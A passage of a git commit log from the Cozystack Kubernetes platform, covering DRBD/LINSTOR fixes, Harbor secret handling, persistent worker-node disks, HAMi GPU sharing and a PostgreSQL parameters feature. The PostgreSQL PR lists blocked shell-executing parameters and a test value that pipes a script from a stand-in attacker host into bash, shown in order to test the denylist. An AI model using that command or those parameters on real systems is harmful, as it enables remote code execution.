Adds a fifth piraeus-server patch that retries `drbdadm secondary` after
`mkfs` when DRBD reports the device as held open by an external process.

### Problem

On Talos (and any system with active block-device probing — udev,
multipathd, etc.) the kernel uevent for a freshly-promoted DRBD device
causes an external probe to `open()` the device for superblock
inspection. If LINSTOR satellite issues `drbdadm secondary` while the
probe still holds the fd, DRBD returns `(-12) Device is held open by
someone` and aborts initialization with `StorageException: Failed to
become secondary again after creating filesystem`.

The satellite never reports the final `UpToDate` event to the
controller, so the controller view stays in `SyncTarget(N%) /
Inconsistent / DELETING` permanently — even though the DRBD kernel state
on the satellite is `Established/UpToDate`. This blocks cleanup of
orphan PVs in `Released` phase and accumulates with every PVC creation.

Observed in production on Talos 1.10 / LINSTOR 1.33.2: 4 occurrences in
24 hours across 3 nodes for different PVCs. Manual recovery requires
`drbdadm down/up` on the Primary to force the satellite to re-report
state.

### Fix

New `secondaryAfterMkfs()` wrapper in `DrbdAdm.java`:

- 7 attempts of `drbdadm secondary` with exponential backoff (250 ms → 2
s, capped)
- Retry only triggers when stderr contains `Device is held open by
someone`; any other failure fails fast as before
- Existing `secondary()` contract is unchanged — only
`DrbdPrimary.close()` (the post-mkfs demotion path) is rerouted to the
new wrapper

The retry window covers ~10 s in the worst case, which comfortably
exceeds typical probe durations (probes release the fd within
milliseconds).

### Related upstream

-
[LINBIT/linstor-server#268](https://github.com/LINBIT/linstor-server/issues/268)
— open since 2022, identical symptom, no upstream fix
- [LINBIT/drbd#74](https://github.com/LINBIT/drbd/issues/74) — same
EBUSY pattern with multipathd holding the fd

### Validation

- `git apply *.diff` on a fresh `v1.33.2` checkout applies all five
patches cleanly in alphabetical order
- Java brace/paren/bracket balance verified on the patched file
- `helm template packages/system/linstor` renders without errors

### Release note

```release-note
fix(linstor): retry `drbdadm secondary` after mkfs on transient `Device is held open by someone` errors. Prevents orphan PVs in `Released` phase from accumulating when an external block-device probe (Talos block-controller, udev, multipathd) wins a race against the post-mkfs demotion. Fail-fast behavior preserved for any other secondary failure.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Implemented automatic retry logic for device secondary state
transitions after filesystem creation. System now gracefully handles
scenarios where devices are temporarily held open by other processes.

* **Documentation**
  * Added documentation for the new device state transition patch.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 15:17:55 +02:00
Andrei Kvapil a4bd2741d6 fix(linstor): plunger demotes idle-Primary DRBD resources (#2539)
## What this PR does

Adds a per-satellite plunger handler that detects DRBD resources
stuck in `Primary` on the local node with no consumer and demotes
them to `Secondary`.

### Background

DRBD auto-promotes a resource to `Primary` during the provisioning
path (`mkfs.ext4` against a freshly created replica, for example),
but auto-demote sometimes fails to fire on close. The resource then
stays `Primary` on a node that has no consumer pod, and CSI on the
legitimate target node fails `NodePublishVolume` with:

```
failed to set source device readwrite: exit status 1
```

The only recovery is an explicit `drbdadm secondary` on the stuck
node — there is no upstream automation for it.

This was hit deterministically in Cozystack e2e CI on freshly
provisioned PVCs without any pod migration or node failure. Upstream
tracker: piraeusdatastore/piraeus-operator#942 (and the related
piraeusdatastore/linstor-csi#172).

### Implementation

In `plunger-satellite.sh` (already running as a privileged sidecar
on every linstor-satellite pod) add `drbd_fix_idle_primary`:

```jq
.[]?
| select(.role == "Primary")
| select(all(.devices[]?; .open == false))
| .name
```

For every match, run `drbdadm secondary <res>`.

### Why this is safe

- `open == false` on **every** device of the resource means no reader
  or writer holds the block device — the demote cannot interrupt I/O.
- Both detection and action are local to the satellite, no peer
  coordination needed.
- If a real consumer is about to arrive, DRBD auto-promote will redo
  the promotion when CSI opens the device — so even a misfire is a
  no-op.
- The jq filter was validated against a live multi-node cluster
  (3 nodes, 22 legitimate Primaries, 0 false positives — every
  legitimate Primary has at least one `open: true` volume).

### Release note

```release-note
fix(linstor): plunger now demotes DRBD resources stuck in Primary
without a consumer, fixing transient `failed to set source device
readwrite` mount errors during PVC provisioning.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Enhanced DRBD resource management with automatic remediation for idle
Primary resources. The system now detects resources lacking active
device connections and safely demotes them to Secondary state during
routine maintenance cycles. Robust error handling preserves existing
recovery procedures while improving overall system stability and
preventing potential resource conflicts.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 15:17:17 +02:00
Myasnikov Daniil 4ecb8fb0d6 test(harbor): add helm-unittest coverage for bucket-secret guards
`hack/helm-unit-tests.sh` auto-discovers any package whose Makefile has
a `test` target. `packages/system/harbor` had none, so the conditional
rendering of `bucket-secret.yaml` (the path this PR actively reshapes)
was un-asserted in CI and the bucket-secret guard would not be pinned
against future refactors.

Add the canonical `test: helm unittest .` target, matching every other
`packages/system/*` package that ships a `tests/` directory
(linstor-scheduler, linstor-gui, cozystack-scheduler, nfs-driver).

Add `tests/bucket_secret_test.yaml` with seven cases covering: spec
absent, spec empty, secretS3 absent, secretS3 empty, secretS3 partial
(only one inner field), bucketName missing, and fully populated. The
first six assert no Secret is rendered; the last asserts the four
expected `stringData` entries plus the static region. 7/7 pass locally
(`bash hack/helm-unit-tests.sh`).

Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-04-30 16:40:26 +05:00
Myasnikov Daniil 5fb337de19 fix(harbor): guard registry-s3 render against partial BucketInfo
The COSI BucketAccess controller is expected to populate `BucketInfo`
atomically, but the prior guard (`with .Values.spec` / `with .secretS3`)
only short-circuits on missing or empty inputs. A partially populated
`secretS3` would still emit the registry-s3 Secret with empty
`accessSecretKey`/`endpoint` values, and a missing `bucketName` was
not guarded at all — silently breaking Harbor's S3 storage backend.

Tighten the inner guard to require all four required fields
(accessKeyID, accessSecretKey, endpoint, bucketName) before the Secret
is emitted, so partial input falls into the no-render path alongside
unset/empty. The body now uses dot-access on `.secretS3` for
consistency with the new gate. Behaviour for fully populated input is
unchanged.

Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-04-30 16:40:15 +05:00
Arsolitt 22d2a224bb test(kubernetes): rename ephemeralStorage to diskSize in kubelet tests
PR #2454 renamed the nodeGroups field ephemeralStorage to diskSize and
added a migration guard that fails template rendering when the old name
is used. Update kubelet reservation tests to use the new field name.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-04-30 14:14:23 +03:00
Arsolitt d4808b9674 merge: resolve conflicts with main after PR #2454
Merge origin/main into feat/kubernetes-kubelet-reserved-resources.

PR #2454 (persistent storage for worker nodes) landed in main and
touched the same nodeGroups schema. Conflicts resolved by keeping
both feature sets (kubelet reservations + persistent storage):

- api/apps/v1alpha1/kubernetes/types.go: merged kubebuilder default
  marker with all keys from both features
- packages/apps/kubernetes/README.md: merged Parameters table with
  diskSize/storageClass + kubelet* rows
- packages/system/kubernetes-rd/cozyrds/kubernetes.yaml: merged
  openAPISchema and keysOrder, dropped stale ephemeralStorage path

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-04-30 13:51:28 +03:00
Aleksei Sviridkin dff5f8d19a feat(kubernetes)!: replace ephemeral emptyDisk with persistent storage for worker nodes (#2454)
## What this PR does

Replace the ephemeral `emptyDisk` volume on tenant Kubernetes worker VMs
with persistent PVC-backed storage via KubeVirt `dataVolumeTemplates`.
Previously, kubelet certificates, kubeconfig, and containerd state were
lost on VM reboot, causing the node to fall out of the tenant cluster.

**Changes:**

- Rename `ephemeralStorage` field to `diskSize` in NodeGroup
configuration
- Replace `emptyDisk` volume with `dataVolumeTemplates` using CDI blank
source
- Add `cdi.kubevirt.io/storage.usePopulator: "false"` annotation to work
around CDI volume population issues with LINSTOR CSI
- Add optional per-nodeGroup `storageClass` field (defaults to cluster
default)
- Set fixed 2Gi ephemeral-storage resource for virt-launcher pod
- Rename internal mount paths from `/ephemeral` to `/persistent`
- Add helm unit tests (`cluster_test.yaml`) covering dataVolumeTemplates
defaults, custom disk size, storageClass presence/absence, fixed
ephemeral-storage, disk name consistency, and CDI populator annotation
- Quote storage values in templates (`diskSize`, `storageClassName`) for
Helm correctness
- Guard bind-mount commands with `mountpoint -q` checks and create
target directories to handle fresh images and cloud-init retries
- Set `blockSize.matchVolume` on worker node disks for automatic block
size detection, fixing DRBD 4Kn compatibility with QEMU

**Known gotchas:**

- CDI volume population (prime PVC rebind) causes `ClaimMisbound` errors
with LINSTOR CSI driver, regardless of StorageClass (`replicated` or
`local`). The `usePopulator: false` annotation switches to the legacy
import path which works correctly. This is a known CDI issue documented
in
[kubevirt/containerized-data-importer#3146](https://github.com/kubevirt/containerized-data-importer/issues/3146).
- The `replicated` StorageClass with DRBD `suspend-io` quorum policy can
cause transient VM IO errors during LINSTOR satellite restarts (quorum
loss). The `local` StorageClass is recommended for worker node disks.
When `storageClass` is not specified in a nodeGroup, the cluster default
StorageClass is used.
- Existing clusters will trigger a rolling replacement of all worker
nodes on upgrade due to changed KubevirtMachineTemplate hash.
- DRBD volumes use 4096-byte logical sectors (`block-size 4096`).
Without explicit block size configuration, QEMU defaults to 512-byte
sectors, causing immediate IO errors and VM pause. The
`blockSize.matchVolume` setting in the disk spec ensures KubeVirt
auto-detects the correct sector size from the volume.

**Tested on a live cluster:**

- Verified DataVolume provisioning with `local` StorageClass
- Verified nodes join the tenant cluster and reach Ready state
- Verified node survives VM reboot (pod deletion) and returns to Ready
with the same Node object, reusing kubelet certificates from persistent
disk

### Screenshots

N/A — no UI changes.

### Release note

```release-note
feat(kubernetes)!: replace ephemeral emptyDisk with persistent storage for worker nodes

Worker node VMs now use persistent PVC-backed disks instead of ephemeral emptyDisk volumes. Kubelet certificates, kubeconfig, and containerd state survive VM reboots, preventing nodes from falling out of the tenant cluster.

BREAKING CHANGE: The `ephemeralStorage` field in nodeGroups has been renamed to `diskSize`. A new optional `storageClass` field allows per-nodeGroup storage class selection. Users must update their values overrides accordingly.

Worker node disks now use `blockSize.matchVolume` to automatically detect the underlying volume's sector size, ensuring compatibility with DRBD-backed storage classes that use 4096-byte logical sectors.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Optional storageClass parameter to select storage class for worker
node persistent disks (defaults to cluster default).
  * Makefile test target added to run Helm unit tests for the chart.

* **Configuration Changes**
* Worker node storage parameter renamed from ephemeralStorage to
diskSize (default: 20Gi).
* Kubelet/containerd state moved to persistent disk paths and node
ephemeral-storage accounting fixed to 2Gi; disk provisioning aligns
block sizing with backing volumes.

* **Documentation**
* Updated docs and chart/schema to reflect the persistent disk model and
new fields.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 12:41:34 +03:00
Aleksei Sviridkin 4dbd4b0b85 fix(harbor): mark credentials Secret with user-secret label (#2541)
## What this PR does

- Stamps the Helm-managed `{{ .Release.Name }}-credentials` Secret with
`apps.cozystack.io/user-secret: "true"`.
- Adds a `matchLabels` rule to `secrets.include` in the Harbor
`ApplicationDefinition`, alongside the existing `resourceNames` entry.

The lineage webhook decides whether a Secret is tenant-visible by
matching its name against the `secrets.include[].resourceNames` template
in the corresponding `ApplicationDefinition`. For Harbor the template
`{{ .name }}-credentials` renders to `{name}-credentials` and does not
account for the `release.prefix: "harbor-"` set in the same definition,
while the Helm chart actually creates `harbor-{name}-credentials`. The
names never match, so the Secret ends up labelled
`internal.cozystack.io/tenantresource=false` and never appears in the
TenantSecrets API.

This change follows the existing `apps.cozystack.io/user-secret: "true"`
pattern already used by Bucket
(`packages/system/bucket/templates/user-credentials.yaml`) and RabbitMQ
(`packages/apps/rabbitmq/templates/rabbitmq.yaml`). The webhook then
matches via labels and is independent of how Helm names the Secret.

### Screenshots

Not applicable — no UI changes in this PR.

### Release note

```release-note
fix(harbor): expose Harbor credentials Secret to tenant-aware clients by marking it with the `apps.cozystack.io/user-secret` label, mirroring the pattern already used by Bucket and RabbitMQ.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Updated Harbor configuration to support label-based secret discovery
alongside existing name-based selection, improving secret management
reliability.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 12:40:48 +03:00
Aleksei Sviridkin d9f95614bf feat(postgres): support all PostgreSQL configuration parameters (#2466)
## Summary

Enable configuration of any PostgreSQL server parameter through
`postgresql.parameters`, not just `max_connections`, with built-in
security protection against dangerous parameters.

## Problem

Previously, the Postgres application only applied `max_connections` from
`postgresql.parameters`. All other standard PostgreSQL parameters (e.g.,
`bgwriter_delay`, `commit_delay`, `shared_buffers`) were silently
ignored.

This limitation existed because:
- Helm template only processed `max_connections` explicitly
- JSON schema blocked additional properties

CloudNativePG supports any PostgreSQL parameter, so this restriction was
artificial.

## Solution

Changed `postgresql.parameters` from a struct with a single field to
`map[string]string`:

- **values.yaml**: Changed parameter type to map with usage examples and
warnings
- **values.schema.json**: Added `additionalProperties` to allow any
parameter
- **templates/db.yaml**: Use `merge` to combine defaults with user
parameters, preventing duplication
- **Security validation**: Block parameters that could allow shell
command execution
- **types.go**: Auto-regenerated with new structure (manual fix for
groupName)
- **README.md**: Added comprehensive warnings about blocked parameters,
CloudNativePG-managed parameters, restart requirements, and security
considerations
- **CRD**: Updated in postgres-rd

## Security Features

**Blocked parameters** (will fail deployment with clear error):
- `archive_command` — could execute shell commands during WAL archiving
- `restore_command` — could execute shell commands during recovery
- `ssl_passphrase_command` — could execute shell commands for SSL key
decryption
- `log_destination` — could redirect logs to shell pipes
- `event_source` — could be exploited for command injection

These parameters pose severe security risks and could allow arbitrary
code execution in PostgreSQL pods, potentially leading to pod escape and
privilege escalation in multi-tenant environments.

## Key Features

- **Security first**: Validates and blocks dangerous parameters
- **No duplication**: `max_wal_senders` default can be overridden
without conflicts
- **User priority**: User-specified parameters override defaults
- **Comprehensive warnings**: Documentation covers blocked parameters,
managed parameters, restart requirements, and security risks

## Testing

Verified with `helm template`:

**Basic parameters work:**
```yaml
postgresql:
  parameters:
    max_connections: "200"
    shared_buffers: "1GB"
    work_mem: "256MB"
```

**Dangerous parameters are blocked:**
```yaml
postgresql:
  parameters:
    archive_command: "curl http://evil.com/shell.sh | bash"
```
Results in: `SECURITY: Parameter 'archive_command' is blocked for
security reasons...`

**Override defaults:**
```yaml
postgresql:
  parameters:
    max_wal_senders: "50"  # Overrides default "30"
```

All values are converted to strings as required by CloudNativePG.

## Breaking Changes

**`postgresql.parameters.max_connections`** now expects a string value
(`"100"`) instead of integer.

**Impact**: Existing configurations using integer values will be
automatically converted by Helm templating, but explicit string values
are recommended for clarity.

**Migration**: Change `max_connections: 100` to `max_connections: "100"`
in values.

## Documentation

Added warnings about:
- Blocked parameters (security)
- CloudNativePG-managed parameters (do not override)
- Parameters requiring pod restart
- Security-sensitive parameters

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Rendering now fails fast if blocked/sensitive PostgreSQL parameters
are supplied.
  * Chart supplies a default for WAL senders during values merge.

* **Refactor**
* PostgreSQL parameters changed to a flexible map of string→string;
numeric values must be quoted (e.g., "100").

* **Documentation**
* Docs and schemas updated with string-only guidance, default values
(e.g., "100") and warnings about managed parameters.

* **Tests**
  * E2E test values updated to use quoted parameter values.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 12:39:05 +03:00
Aleksei Sviridkin 0aed318b3e feat(seaweedfs): limit single PUT request size to 5GB (#2414)
## Summary

Limit single PUT request body size to 5GB for SeaweedFS S3 endpoints to
enforce multipart upload usage for large files.

## Motivation

Large monolithic file uploads via single PUT requests (files >5GB)
frequently cause issues in production environments:
- Connection timeouts during long uploads
- Memory pressure on proxy/gateway components  
- Incomplete uploads resulting in corrupted data
- High support load from users experiencing these failures

AWS S3 and other object storage providers recommend using multipart
uploads for files larger than 100MB, with multipart being mandatory for
files >5GB.

## Changes

- Set `nginx.ingress.kubernetes.io/proxy-body-size: "5g"` in system
SeaweedFS configuration
- Set `nginx.ingress.kubernetes.io/proxy-body-size: "5g"` in tenant
SeaweedFS template (hardcoded, non-overridable)
- Add explanatory comments documenting the limitation and rationale

## Impact

**For users:**
- Single PUT requests are limited to 5GB maximum
- Files >5GB must be uploaded using S3 multipart upload API
- All standard S3 clients (aws-cli, boto3, MinIO client, etc.)
automatically use multipart for large files
- No breaking changes for properly configured S3 clients

**Platform benefits:**
- Reduced support load from large file upload failures
- Better resource utilization (memory, connections)
- More reliable upload experience for end users
- Aligns with industry best practices (AWS, MinIO, etc.)

## Testing

- Verify small files (<5GB) upload successfully via PUT
- Verify large files (>5GB) via PUT return HTTP 413
- Verify multipart upload works for any file size
- Test with common S3 clients (aws-cli, s3cmd, etc.)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Updated SeaweedFS S3 ingress configuration to enforce a 5GB maximum
for single requests; files larger than 5GB should use multipart upload.
* Disabled response/request buffering and extended NGINX timeouts, and
enabled upstream service handling to improve reliability of large
uploads and long-lived connections.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-30 12:39:03 +03:00
IvanHunters fe6b4485fb chore(postgres-rd): regenerate CRD after parameter description update
Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 10:21:35 +03:00
IvanHunters 53caea3e08 chore(postgres): regenerate after denylist update
Update description in values.yaml with corrected denylist and re-run
cozyvalues-gen to propagate changes to values.schema.json, README.md,
and types.go.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 10:20:57 +03:00
IvanHunters 95f7be7a38 docs(postgres): update denylist documentation to match implementation
Update values.yaml comments and README to reflect the corrected denylist:
remove log_destination and event_source (not code-execution vectors),
add dynamic_library_path and *_preload_libraries (arbitrary .so loading).

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 10:18:29 +03:00
IvanHunters a4d3c99a9a revert(kubevirt-operator): remove PrometheusRule changes unrelated to postgres
Revert the kubevirt-operator PrometheusRule changes that were included
in this PR by mistake. These changes will be submitted in a separate PR
for cleaner attribution.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 10:17:50 +03:00
IvanHunters 97d8f84be4 fix(postgres): update security denylist for parameter blocking
Remove log_destination and event_source (not code-execution vectors).
Add dynamic_library_path, local_preload_libraries, session_preload_libraries,
shared_preload_libraries which allow loading arbitrary .so files.
Improve error message accuracy.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 10:14:20 +03:00
IvanHunters 6ec761fc1f fix(postgres): accept integer values in parameters schema for backward compat
Allow integer values in postgresql.parameters via anyOf schema, so existing
HelmReleases with max_connections: 100 (integer) are not broken on upgrade.
Template coerces all values to string via toString before quoting.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 10:12:47 +03:00
Myasnikov Daniil 2555a9ac08 fix(harbor): merge BucketInfo at values root, drop targetPath
The previous fix (a21c18f9) sourced BucketInfo via Flux valuesFrom with
`targetPath: bucket.bucketInfo`. Flux runs values with `targetPath`
through Helm's `strvals.ParseInto`, which splits the value on commas as
list separators. The COSI BucketInfo JSON is comma-rich, so values
resolution bailed:

  could not resolve Secret chart values reference
  'tenant-X/harbor-X-registry-bucket' with key 'BucketInfo':
  key "\"spec\":{\"bucketName\":\"bucket-1785...\""
  has no value (cannot end with ,)

Drop `targetPath`. With only `valuesKey: BucketInfo`, helm-controller
unmarshals the value as YAML and merges at the chart's values root, so
JSON commas stay nested instead of being split. The system chart's
bucket-secret.yaml now reads `.Values.spec.bucketName` /
`.Values.spec.secretS3.{accessKeyID,accessSecretKey,endpoint}`,
guarded by nested `with` blocks so the registry-s3 Secret renders only
when secretS3 has been populated.

Gating semantics from the previous fix are preserved: with the default
`optional: false`, helm-controller still refuses to compose values
until the COSI BucketAccess controller writes `BucketInfo` into the
Secret, and the value's content still drives the HR config-digest.

Verified via `helm template` against the system chart with three
scenarios: missing `spec` and `spec` without `secretS3` render
nothing; full BucketInfo renders all five S3 env keys correctly.

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
Assisted-By: Claude <noreply@anthropic.com>
2026-04-30 09:35:14 +05:00
IvanHunters c2bad2ab5d chore(postgres): regenerate postgres.yaml after rebase
Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 01:46:39 +03:00
IvanHunters a753088fb4 fix(kubevirt-operator): escape Prometheus template variables in PrometheusRule
Helm was trying to evaluate {{ $labels.xxx }} as Helm variables, causing
"undefined variable" errors during E2E tests. Wrap Prometheus template
expressions in backticks to pass them through Helm unchanged.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 01:43:43 +03:00
IvanHunters fac0622499 fix(postgres): make security denylist case-insensitive
PostgreSQL parameter names are case-insensitive, but the denylist
check was case-sensitive, allowing bypass via mixed-case names
(e.g., ARCHIVE_COMMAND instead of archive_command).

Normalize parameter names to lowercase before checking against the
denylist to prevent security bypass.

Thanks to CodeRabbit for catching this security issue.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 01:43:43 +03:00
IvanHunters 96c7c16c21 fix(postgres): correct merge argument order for parameter precedence
Fix regression where defaults were overriding user-supplied parameters.
Sprig merge gives precedence to first argument, so user values must be
merged before defaults to maintain correct override behavior.

Before: merge (dict) $defaults .Values.postgresql.parameters
After:  merge (dict) .Values.postgresql.parameters $defaults

Now max_wal_senders and other user parameters correctly override defaults.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 01:43:42 +03:00
ohotnikov.ivan f8001e23b6 fix(postgres): address review feedback
- Regenerate deepcopy artifacts to remove orphaned PostgreSQLParameters methods
- Update e2e test to use string value for max_connections parameter
- Fix template to avoid .Values mutation and use quote function for safe YAML escaping

Signed-off-by: ohotnikov.ivan <ohotnikov.ivan@e-queo.net>
2026-04-30 01:43:42 +03:00
IvanHunters fb0ed08565 feat(postgres): support all PostgreSQL configuration parameters
Allow users to configure any PostgreSQL server parameter via the
postgresql.parameters field. All parameter values must be provided
as strings (numeric values should be quoted).

Security measures:
- Block parameters that allow shell command execution (archive_command,
  restore_command, ssl_passphrase_command, log_destination, event_source)
- Validation implemented in templates to prevent security vulnerabilities

Generated files updated:
- types.go: Add Parameters field with map[string]string type
- README.md: Add parameter documentation and warnings
- values.schema.json: Update schema for new field
- CRD: Update OpenAPI schema with new field and reordered properties

CloudNativePG manages certain parameters automatically (archive_mode,
primary_conninfo, wal_level). Users should not override these as it
may break backup/replication functionality.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-04-30 01:43:41 +03:00
IvanHunters fdbb6fdfd7 fix(harbor): mark credentials Secret with user-secret label
The Helm-managed harbor-{name}-credentials Secret was not visible
through the TenantSecrets API because the lineage webhook compared the
real Secret name against the rendered template "{{ .name }}-credentials"
(which becomes "{name}-credentials" without the "harbor-" HelmRelease
prefix), failed to match, and labelled the Secret as
internal.cozystack.io/tenantresource=false.

Adopt the same pattern Bucket and RabbitMQ already use: stamp the
user-facing Secret with apps.cozystack.io/user-secret=true and add a
matchLabels rule alongside the existing resourceNames entry in the
ApplicationDefinition. The webhook now matches via labels instead of
relying on Secret-name templating, so the Secret is properly marked
tenantresource=true and surfaces in tenant-aware clients.

Signed-off-by: IvanHunters <ivan.okhotnikov@aenix.io>
2026-04-29 20:47:09 +03:00
Andrei KvapilandClaude a6ac0485a8 fix(linstor): plunger demotes idle-Primary DRBD resources
DRBD auto-promotes a resource to Primary during the provisioning path
(e.g. mkfs.ext4 against a freshly created replica), but auto-demote
sometimes fails to fire on close. The resource then stays Primary on
a node that has no consumer, and CSI on the legitimate target node
fails NodePublishVolume with "failed to set source device readwrite".
The only recovery is an explicit drbdadm secondary on the stuck node.

Add a per-satellite plunger handler that detects local Primaries
where every device has open == false and demotes them. Both the
detection and the action are local to the satellite, so no peer
coordination is needed. open:no makes drbdadm secondary safe; if a
real consumer is about to arrive, auto-promote will redo it.

Upstream tracker: piraeusdatastore/piraeus-operator#942

Co-Authored-By: Claude <noreply@anthropic.com>
Signed-off-by: Andrei Kvapil <kvapss@gmail.com>
2026-04-29 17:30:08 +02:00
IvanHunters 90fbb16f88 fix(linstor): retry drbdadm secondary after mkfs on transient EBUSY
LINSTOR satellite aborts resource initialization with "Device is held open
by someone" (errno -12) when an external probe (Talos block-controller,
udev, multipathd) opens the freshly-promoted DRBD device just before the
post-mkfs demotion. The controller view then stays in SyncTarget /
Inconsistent / DELETING indefinitely, blocking cleanup of orphan PVs in
Released phase.

Add a retry wrapper secondaryAfterMkfs() with exponential backoff
(7 attempts, 250ms -> 2s) that triggers only on this specific error
message. DrbdPrimary.close() now uses the wrapper so the retry only
applies to the post-mkfs demotion path; the existing public secondary()
contract is untouched.

Related: LINBIT/linstor-server#268, LINBIT/drbd#74
Signed-off-by: IvanHunters <ivan.okhotnikov@aenix.io>
2026-04-29 18:02:52 +03:00
Arsolitt 998cc77635 chore(kubernetes): merge main to resolve CRD schema conflict
Integrate the HAMi GPU virtualization addon from main while
keeping the persistent-storage diskSize and storageClass fields
introduced by this branch.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-04-29 16:54:58 +03:00
Aleksei Sviridkin f45facca77 feat(hami): add HAMi GPU virtualization system package (#2484)
## What this PR does

Documentation: https://github.com/cozystack/website/pull/517

Integrates [HAMi](https://github.com/Project-HAMi/HAMi) v2.8.1 (CNCF
Sandbox) into Cozystack as a system-level package for fractional GPU
sharing in tenant Kubernetes clusters.

The integration covers three layers:

- **System chart** (`packages/system/hami/`): Vendors upstream HAMi Helm
chart with device plugin, scheduler extender, mutating webhook, and
RuntimeClass configuration. The broken DRA subchart was removed — it
renders resources even when disabled and references unpublished images.

- **Kubernetes app addon** (`packages/apps/kubernetes/`): HAMi exposed
as an optional toggle (`hami.enabled`). Automatically disables GPU
Operator's native device plugin when active to avoid conflicts. Enforces
hard dependency on GPU Operator.

- **Platform registration** (`packages/core/platform/`): HAMi declared
as PackageSource with gpu-operator dependency, included in the iaas
bundle.

**Known limitation**: HAMi-core relies on a private glibc symbol
(`_dl_sym`) removed in glibc 2.34, which breaks compute isolation on
modern container images (Ubuntu 22.04+, PyTorch/TensorFlow official
images). Alpine/musl is entirely incompatible. See the package README
for details and upstream issue references.

### Screenshots

N/A — no UI changes.

### Release note

```release-note
feat(hami): add HAMi GPU virtualization as an optional system package for fractional GPU sharing. Enables memory and compute isolation for NVIDIA GPUs across tenant workloads. Integrates with GPU Operator and can be enabled per-cluster via the hami.enabled toggle. Note: compute isolation requires glibc < 2.34 in workload containers.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added HAMi GPU virtualization middleware as an optional cluster addon
to enable fractional GPU sharing.
* HAMi addon includes an enable toggle (default: disabled) and a
customizable Helm values override; when enabled it enforces GPU Operator
presence and adjusts GPU Operator values accordingly.
* New HelmRelease integration for deploying HAMi with dependency
ordering and conditional rendering.

* **Documentation**
* Added HAMi setup guide, compatibility notes, and updated cluster addon
configuration reference.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-29 16:22:58 +03:00
Timofei Larkin 69ad74e457 fix(cozystack-engine): add managed Kubernetes without visible control-plane nodes support to lineage-controller-webhook (#2481)
<!-- Thank you for making a contribution! Here are some tips for you:
- Use Conventional Commits for the PR title: `type(scope): description`
- Types: feat, fix, docs, style, refactor, perf, test, build, ci, chore
- Scopes for system components: dashboard, platform, cilium, kube-ovn,
linstor, fluxcd, cluster-api
- Scopes for managed apps: postgres, mariadb, redis, kafka, clickhouse,
virtual-machine, kubernetes
- Scopes for development and maintenance: api, hack, tests, ci, docs,
maintenance
- Breaking changes: append `!` after type/scope (`feat(api)!: ...`) or
add a `BREAKING CHANGE:` footer
- If it's a work in progress, consider creating this PR as a draft.
- Don't hesistate to ask for opinion and review in the community chats,
even if it's still a draft.
- Add the label `backport` if it's a bugfix that needs to be backported
to a previous version.
-->

In environments where control-plane nodes are not available (e.g., AWS
managed nodes, Cozy-in-Cozy tenant Kubernetes clusters), the DaemonSet
cannot schedule any pods because no nodes match this selector.

## What this PR does

This PR adds ability to replace DaemonSet by Deployment with custom
number of replicas for HA purpose. Default values saves current
behavior.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Optional Deployment mode for lineage-controller-webhook with
configurable replicas
  * PodDisruptionBudget support when Deployment mode is enabled

* **Updates**
* Improved pod scheduling: node affinity replaces nodeSelector, optional
tolerations, and pod anti-affinity when using Deployment
* Clarified behavior for local API endpoint scheduling (only applies
when pod lands on nodes running an API server)

* **Documentation**
  * Added README with usage examples and parameter details
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-29 15:24:27 +04:00
Aleksei Sviridkin 400da5ee2b fix(seaweedfs): pass filer.replicas and s3.replicas to HelmRelease
The filer and s3 blocks in the seaweedfs HelmRelease values omitted the
replicas: field, so user-supplied .Values.filer.replicas and
.Values.s3.replicas were silently ignored and the upstream chart defaults
took over. This also caused the WorkloadMonitor resources for filer and
s3 (which read the same values) to diverge from the actual replica count
and trigger spurious alerts when users set non-default values.

Mirror the master/volume/db pattern and interpolate replicas: into both
blocks.

Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Aleksei Sviridkin <f@lex.la>
2026-04-29 13:59:21 +03:00
Arsolitt 5d58d0f340 chore(hami): document and partially automate vendor patches in Makefile
The `update:` recipe now reproduces the top-level vendoring overrides
(remove broken hami-dra subchart, clear Chart.yaml dependencies, strip
dra/hami-dra/podSecurityPolicy from upstream values.yaml) after
